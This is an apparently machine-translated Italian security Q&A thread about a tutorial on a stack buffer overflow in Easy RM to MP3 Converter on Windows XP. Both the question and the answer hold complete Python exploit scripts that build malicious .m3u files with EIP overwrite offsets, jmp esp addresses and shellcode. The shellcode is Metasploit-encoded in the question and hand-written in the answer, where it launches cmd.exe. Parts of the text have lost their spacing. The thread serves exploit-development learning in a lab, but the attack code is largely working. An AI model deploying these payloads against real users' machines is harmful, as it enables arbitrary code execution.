Perché fnstenv mi fornisce un indirizzo NULL nel mio shellcode su Windows XP?

1

Sto passando un tutorial introduttivo sulla scrittura di exploit, che può essere trovato qui . Il tutorial ripercorre una vulnerabilità di buffer overflow basata su stack semplice nell'utilità di conversione Easy RM to MP3. Ho fatto funzionare il PoC di base (anche se ho trovato un offset diverso per sovrascrivere EIP rispetto all'autore anche se ho usato la stessa versione). In altre parole, sono stato in grado di prendere il controllo di EIP e farlo saltare in aria prima dello shellcode, e lo shellcode di test contenente solo un'istruzione break funzionava perfettamente. Tuttavia, sembra che si stiano verificando problemi quando si utilizza lo shellcode reale generato con metasploit (come mostrato nel tutorial). Ecco lo script Python che ho scritto seguendo il tutorial (non volevo usare Perl ...):

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"

preshell = "X" * 4

shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

payload = junk + eip + preshell + shellcode

with open(filename, "wb") as file:
    file.write(payload)

Ecco cosa mostra Windbg dopo il crash dello shellcode (nota che jmp esp funzionava perfettamente bene e che l'eccezione si verificava all'interno dello shellcode):

Dopoaveresaminatoildebugger,sembracheilproblemasiaconl'istruzionefnstenv,cheappareversol'iniziodelloshellcode.Daquellochehotrovatoin questo articolo di Phrack , fnstenv è usato come un modo per far sì che EIP lo faccia fuori impilare in un registro:

Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.

fldz

fnstenv [esp-12]

pop ecx

add cl, 10

nop

ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.

Sembra che questo sia necessario / utile per decodificare lo shellcode codificato. Tuttavia, l'indirizzo che viene estratto dallo stack dopo la chiamata fnstenv risulta sempre NULL (0x00000000), quindi lo shellcode si blocca in seguito. Ho anche provato questo exploit / shellcode su un altro Windows XP VM che avevo (anche se inizialmente non l'ho creato io stesso) e ho notato lo stesso risultato.

La mia domanda è semplicemente, perché sta succedendo questo? Cosa causerebbe il fallimento dell'istruzione fnstenv, risultante in un indirizzo NULL invece dell'indirizzo EIP? C'è qualche impostazione che devo cambiare (forse qualcosa con le impostazioni hardware di Virtualbox per la VM?) Che impedisce che funzioni correttamente?

    
posta saltthehash 25.03.2017 - 11:18
fonte

1 risposta

2

Analizziamo in retromarcia cosa è successo:

Ma, guarda il tuo valore ESP che sta iniziando il tuo codice shell. Perché? Perché non puoi scrivere prima di quell'indirizzo. D'altra parte si usa [esp-0Ch] per memorizzare l'ambiente FPU.

Ho provato ad eseguire la tua versione e ottenere un errore diverso:

InoltrehoprovatolaversionediCorelanchenonhafunzionatoneanche.Comepuoivederelecosesonostatepiùcomplicatenellamiaversione.

Nonriescoaeseguireildebugdellatuaversionediexploit,tuttaviapossomostrartipassodopopassolacostruzionediexploitperquestavulnerabilità.UtilizzoConvertitoreRMtoMP3Easy2.7.3.700(setup2.8MiB)da questo Exploit Pagina del database sul mio Windows XP Professional SP3 turco . Innanzitutto, ho creato un pattern di 300.000 caratteri per Mona.py . Allega RM2MP3Converter.exe a Immunity Debugger e caricato il nostro file sploit.m3u creato.

UsandoloscriptPython pattern.py possiamo trovare l'offset EIP ora *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Consente di individuare i punti ESP nello stack:

Puoiutilizzare0Hl1ovalorehex:

C:\DocumentsandSettings\Administrator\Desktop>pattern.pyoffset0x316C483030000hexpatterndecodedas:0Hl1579226072

Consentedicontrollareinostririsultati:

filename="sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

I valori di crash confermano il nostro pre-exploit:

fromstructimportpackfilename="sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Ora dobbiamo trovare JMP ESP in un segmento eseguibile . Utilizza questo comando Mona.py :

!mona find -type instr -s "JMP ESP" -x X

Trovato un sacco di

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Grazie a Mona.py abbiamo trovato un sacco di "jmp esp" nelle librerie del sistema operativo. Scegli il primo all'indirizzo 0x77fab277.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

Colpisce la nostra sequenza di interrupt in cui ESP indica. Con un po 'più di trucco possiamo sbarcare il nostro shellcode con ADD AH, CL aggiuntivo

QuestoèilnostrocodicePython:

fromstructimportpackfilename="sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Dopo una lunga sessione di debug otteniamo:

CodicePython:

fromstructimportpackfilename="sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Diversa da Corelan e questa versione di Exploit-db . Puoi trovare shellcode qui .

  • Usiamo la doppia "F" per emulare un'istruzione innocua con i resti di dati nello stack
  • Otto "B" è per il resto, non sembra che sia stato scritto da nessuna parte.
  • junk3 viene scritto prima che lo shellcode possa usarlo saltando sui dati rimanenti.

* Mona trova solo la prima occorrenza di sequenza.

    
risposta data 29.03.2017 - 22:00
fonte

Leggi altre domande sui tag